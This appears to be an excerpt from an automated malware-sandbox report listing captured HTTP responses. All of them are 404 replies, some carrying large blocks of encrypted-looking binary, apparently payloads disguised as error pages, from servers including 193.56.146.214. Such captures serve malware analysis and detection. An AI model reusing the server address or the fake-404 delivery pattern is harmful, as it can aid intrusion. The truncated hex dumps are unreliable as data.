Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:00 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 35 32 37 33 33 0d 0a b8 00 00 00 c7 1a b3 fa 05 54 a4 5f 28 1e c5 73 c8 bb 6f 2d ae 22 c0 a9 8f 89 bd 2a 1c 21 f8 64 eb 16 a1 85 cc be 11 ce 58 26 9a 05 1e 5c c6 c1 69 3a 30 5b 9b c4 28 c2 ef 63 ab b5 4a e8 89 6e 9c 3d f7 c6 fe 06 43 1d 42 b0 fa b9 17 9d bc 30 e1 7d b4 71 0c f3 55 ca a6 9d 45 22 ea 9d de 0a 6c 39 20 12 7c 4b 07 4c f2 97 87 24 3a c2 ff e2 61 c9 ff 82 3e 8d 64 f6 2c 24 84 19 bd fa 7b 18 4f ce fd ab 1c f3 bb 9d 70 2b 2b eb ec 0b b0 37 d1 d7 3d 24 bb 29 51 24 7c 4e e0 35 9d 11 e0 42 10 5e 4d 2f 68 41 22 93 01 8f 26 1e 4b e8 70 6a ed 03 43 fd b3 0a b8 09 cd 31 c3 31 00 76 26 05 00 99 e1 70 64 01 08 02 00 05 00 9c 03 00 00 8f 53 a0 cd 6b ff f3 42 ef be 5f a6 0b 12 1e 00 fa 2d 5f bc 60 48 43 c4 3f a0 d1 42 cb fe 22 d0 1e 94 d6 c5 1a 29 6e 08 cd c8 2d c7 4d 7e 61 df 49 1a 97 84 14 51 2c 4c e4 c5 d6 02 94 b8 c5 49 53 0d 5e 82 e6 83 ab 8e 62 c5 9d 46 0b a0 aa 3e c7 fd d6 bc a4 ad e8 3c 50 ba e0 3c fe e9 66 4d 4e a6 6b ea 3a 3d ce 29 2a 37 e9 6c 89 d6 f5 15 31 cc 37 72 61 7e 22 b0 24 77 36 7c 4e 6b 9a aa 32 ae ff ad 7d d1 69 71 5e 52 c5 cc 89 d6 bb fa 1e 30 d1 95 9d 4c 69 ee fe ef 04 01 d8 3e 1b 87 e4 46 c1 6e fb 21 19 c0 a0 dd 94 37 60 40 b8 71 82 cf 26 ba ba 93 8d d0 d2 c2 59 ae 5a 2b f1 dd f6 78 90 66 b1 4e ca f3 88 94 76 73 aa 67 95 39 13 f9 1a 7e db 59 b0 5a be ea a7 57 2c da 41 2f 3b 44 99 a6 d1 e3 ae 5d 44 1c 04 12 87 6b 36 97 f0 39 ba 17 30 82 22 5d 97 9c 25 f8 0f 01 a5 f3 47 51 4b c6 6c ab e9 ee 5b 16 36 f0 62 25 02 ed 05 a6 10 4e c2 e6 19 fe 62 4e c5 5b d6 25 26 c8 0b 8d ec 99 23 41 05 8c 38 bb 0c c3 e8 42 32 14 41 b7 83 9c af 9a 27 3e 5a 59 7c a3 5e ee 1c 9c 12 fc 53 8b e3 c9 3c 9d f9 b6 c4 e6 9f 86 54 45 f9 ea dc e7 d2 62 dd f4 b6 fc 61 49 d6 3d 2d fb 53 9e df 18 af 5e 30 3d 56 2a 0f 38 20 a4 0d c3 98 c2 87 1d fd 7b 76 27 90 ad 0d f8 1c 82 12 74 be 06 e5 be c0 91 3d 8d d9 76 35 3a 86 ce 8b 57 89 6b 9e 6b 94 4b fe 6e 7b 84 16 f5 b4 5c b4 8f df 2a 68 2b 33 43 0b 6e 60 35 e6 3b 93 c5 fd e6 62 80 69 e2 92 79 02 9e 47 77 90 92 90 52 4f cf 29 e7 8b 19 b7 16 d5 1a 92 65 37 c9 26 3c 17 27 bd 55 08 ce c3 07 7a 53 f1 6f 43 0a 86 a0 32 60 f8 0d f1 24 e9 e4 c0 fb cd ae cb cb 6c 00 9c ef 2f 87 07 95 d6 a2 32 a9 f4 6b d7 2c e8 2c 27 c2 b7 00 ef 75 ec d5 58 86 2a ad a4 97 43 9a 52 8f 28 e9 1b ce e1 d3 d0 78 92 a0 ab 1e e0 dd 3d cc e0 5a 14 90 1d 7d 10 44 b2 b1 04 a8 db 37 c3 a1 bb 3b 1c f8 3e 56 ed 73 dd 7d b0 6b 95 36 fd 00 c5 00 b0 6f 9b 2b 71 fb 79 82 a6 e1 23 c2 b9 8a a8 89 62 ba 2d 12 c6 52 d3 b1 97 b5 64 20 e9 05 e7 b4 dd e7 89 3a 3b a5 25 ec 86 96 39 8e 21 04 ab 93 4a ec 81 e7 55 81 50 94 e0 5b 5b 40 17 8f ac 1e 17 68 a5 e6 f4 09 11 8f 34 77 8f dc 57 87 c9 7d d9 e7 6b 23 6c 4e d0 db 94 61 ae f2 5c 36 c5 15 c9 a7 a3 39 4b 2b 05 81 e2 8b cf fa 08 90 e8 55 0c 8b 78 14 91 04 c2 44 ed b6 c6 17 7c 82 6c 40 c6 ec b6 91 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:02 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:02 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 39 33 38 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 1d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 85 a5 24 d1 ee 12 d7 a8 78 27 4c 76 46 ea d6 2c 43 64 1b 67 c4 62 1c 74 29 44 86 43 af 6f a0 68 8a 59 6d 82 4a a7 cf 1f c6 a3 13 69 4a 24 b3 ea 27 63 13 57 70 50 68 6a 3e e0 2f 7a 70 79 23 e3 d8 2f 09 13 72 9b be 7c 42 bf 19 de 6c dc 13 55 70 53 0a 46 17 7c e7 ba 3f dc 9e 2e c9 81 e8 ce 05 4c c4 c1 52 3a 54 6b ad 87 f9 07 87 d6 41 c9 b0 26 1c 94 30 99 7f 5b 92 2a 93 5b af a8 98 7a bd 0b e2 a4 22 3e 1a 20 cc cc b6 ca 21 af ad f5 31 a1 a3 cf 37 1f 5a eb 3f 5c c5 74 59 90 8f f5 06 b6 0e cd 9a df a5 61 69 fd 70 12 70 df ce 22 db e0 ab ab b6 2e 08 8f ff dd 4c 76 20 e1 ff 38 5c 3f 0f 83 d0 20 38 ba 60 bd 59 22 09 79 53 40 98 e3 94 54 f0 2f 60 43 8c 47 f0 86 f8 fb 34 6c 1f f1 69 d5 92 4e 76 8c 96 bd 4a 16 e9 37 a2 55 6b 5f c7 ae 4a 88 54 d9 4e 3d b6 7b 93 fe 88 2c 93 7e 87 12 75 d7 9a db 05 a9 46 75 18 c7 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 69 4f 44 88 fe 40 0a 5c 69 ba e8 33 74 16 00 89 12 1e 0d 63 bb 9c d4 46 d1 64 3b df d5 af 2b 02 57 d3 db 53 3d a0 c3 96 8b 7d 64 17 9a f7 3e c2 56 75 1b e2 95 15 f7 bb 2e 64 35 e2 26 2c 74 a4 34 54 05 91 5f ef 6c 05 23 8f f5 4a b0 de 7f 0d 6a f3 d8 90 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 92 d6 ea 8c 11 7d 72 d7 6a ab c1 39 e2 23 13 96 c4 66 d1 30 80 06 10 b2 9c 78 c6 58 43 f6 e7 2a 92 72 08 aa 14 21 52 ff f3 53 5d b5 78 3d f1 24 a0 e9 37 7f 3b 60 ff f1 ee 71 c0 b6 4f 4d bb 75 4b 53 06 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 d3 03 e8 e9 32 2c 0d 90 db 4f f4 47 d3 1c 4c 93 19 c0 0d 04 7d 76 88 52 8c 2a 01 6e fe ca 39 52 41 cc 35 5f 27 89 98 4c 28 48 94 14 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 a1 95 87 04 7d 32 7d 42 02 42 39 ad d5 d3 3c 86 63 55 cd b7 fb 29 6d da 0a 1e d7 09 07 99 cb 23 5b c4 b5 b5 5f 7c a9 84 79 89 b1 39 ec 06 88 45 fa e6 58 a9 e6 e8 4f 67 2c 5e db 50 c7 95 e6 d8 99 0a e2 4c c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 76 ed f6 4b a5 53 52 d2 c5 d4 d1 79 5e 67 ad 6d 11 b0 c0 db 31 a0 29 77 31 ac b2 03 07 1e 17 76 28 bc db 58 67 4b 5b 67 c2 3f d3 78 d9 f8 1f ba e2 50 11 3b ec 5f e0 3c c7 4b d4 50 b0 20 e1 1e 34 ef d3 2e ac 9c d8 f7 0d c2 23 af 38 15 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 6c 1c 9d 89 05 4d 99 2e b4 58 13 86 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:30:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b1 ba 89 c7 a8 25 9f ae 04 75 64 62 d8 e6 b8 a1 54 5e 1b 80 2b d8 55 a8 c7 ea 87 23 6d 16 be 61 f6 31 6d 17 41 3e da 16 a3 c9 32 6e a0 14 dc ac 2f 7b b0 2d 61 47 b0 7a 0d de 75 8f f9 9f 56 11 36 05 4a f4 e2 d7 c0 07 43 c8 48 09 d2 74 94 82 bf 6c 13 d9 39 03 d5 18 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:02 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:03 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=97Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 34 30 30 36 61 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 9c a2 ae 7a b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c af 3a 05 14 a5 5d ef 3b f3 56 72 bc 3d 1a 04 b2 50 2a 87 d6 17 8f 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 d8 9d 1d b3 9c 88 8a 38 22 7a 6d 2e e6 2a 7e d7 3f dc 9e 2e cb 81 a8 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a 95 5f 97 a6 75 3e 1a 20 8c a3 b0 ca 79 f7 ad f5 31 61 a4 cf 37 1f 1a eb 3f ae c6 74 31 8c 8f f5 03 96 0b cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c 3b 4c f9 10 e5 ec 9a db 25 2f 45 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 ec fd 05 89 52 de 0e 63 bb d6 d4 46 d1 f2 38 df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 31 e2 08 5a 11 dc 40 b4 06 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 5b ab 10 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 68 1e 11 b2 18 4c c1 58 40 f6 e7 2a 33 72 08 ac 78 ae 53 ff 0f 71 5f 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 1c 5e 68 fc b5 2c f4 47 1c 3f 4d 93 1e 60 70 06 72 52 89 52 93 3e 09 6e c1 ca 39 52 3e cc 35 5f d8 89 98 4c 97 49 94 56 ef 01 37 e2 41 44 f0 8b 65 48 8a 76 e1 41 84 8e 71 b4 0d 16 5e ea 87 04 82 cd 7d 42 fd bd 38 ad 2a 2c 3f 86 9c aa ca b7 04 d6 62 da f5 e1 c8 09 f8 66 f4 23 a4 3b ca b5 a0 83 56 84 86 76 4e 38 13 f9 77 46 05 19 a7 ae 19 17 b0 68 d3 a1 24 4f 38 6a 19 e7 66 f5 1d 33 c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 77 ed f6 4b a5 53 52 d2 c7 d4 d1 79 5e 67 ad 6d 15 b0 c0 db 31 a0 29 77 39 ac b2 03 07 1e 17 76 38 bc db 58 67 4b 5b 67 e2 3f d3 78 d9 f8 1f ba a2 50 11 3b ec 5f e0 3c 47 4b d4 50 b0 20 e1 1e 34 ee d3 2e ac 9c d8 f7 0d c0 23 af 38 15 06 1f 84 48 7f 4f 6d 5b df 92 a0 cf 0b 80 51 a9 cd 6d e1 7c 1c 9d 89 05 4d 99 2e 94 58 13 86 89 b0 6e 2c dc c3 75 44 f4 8b 85 52 aa a2 e4 2f a9 e7 5b 9a 1e bd 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:03 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 18:30:03 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=95Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 37 63 63 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 7c a2 52 90 b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c f9 3e 05 14 73 5e ef 3b f3 56 72 70 6e 1e 04 b2 50 2a 87 d6 37 83 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 da 9d 1d b3 9c 88 8a 38 22 7a 61 2e e6 2a 7e d7 46 ad 96 2e cb 81 88 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a bd 0c 93 a6 69 3e 1a 20 8c 63 bb ca c9 ba ad f5 31 61 a4 cf 37 1f 1a eb 3f 82 c2 74 e1 81 8f f5 03 96 07 cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c c7 1f fd 10 e5 ec 9a db 25 79 41 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 5c b0 05 89 52 1e 05 63 bb 9a d4 46 d1 a0 3c df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 3d e2 08 5a 11 dc 40 9e 02 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 0f f8 14 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 18 65 17 b2 f4 a7 c1 58 40 f6 e7 2a 9d 72 08 ac 54 7b 52 ff eb 48 5a 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 51 04 f8 fc b7 2c f4 47 1b 3f 4d 93 e6 9f 70 06 c5 52 89 52 8c 3e 09 6e be ca 39 52 41 cc 35 5f 27 89 98 4c 68 48 94 56 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 21 95 87 04 73 2d c7 4c 02 f6 30 60 f4 6b 3d 82 ae 74 99 df 92 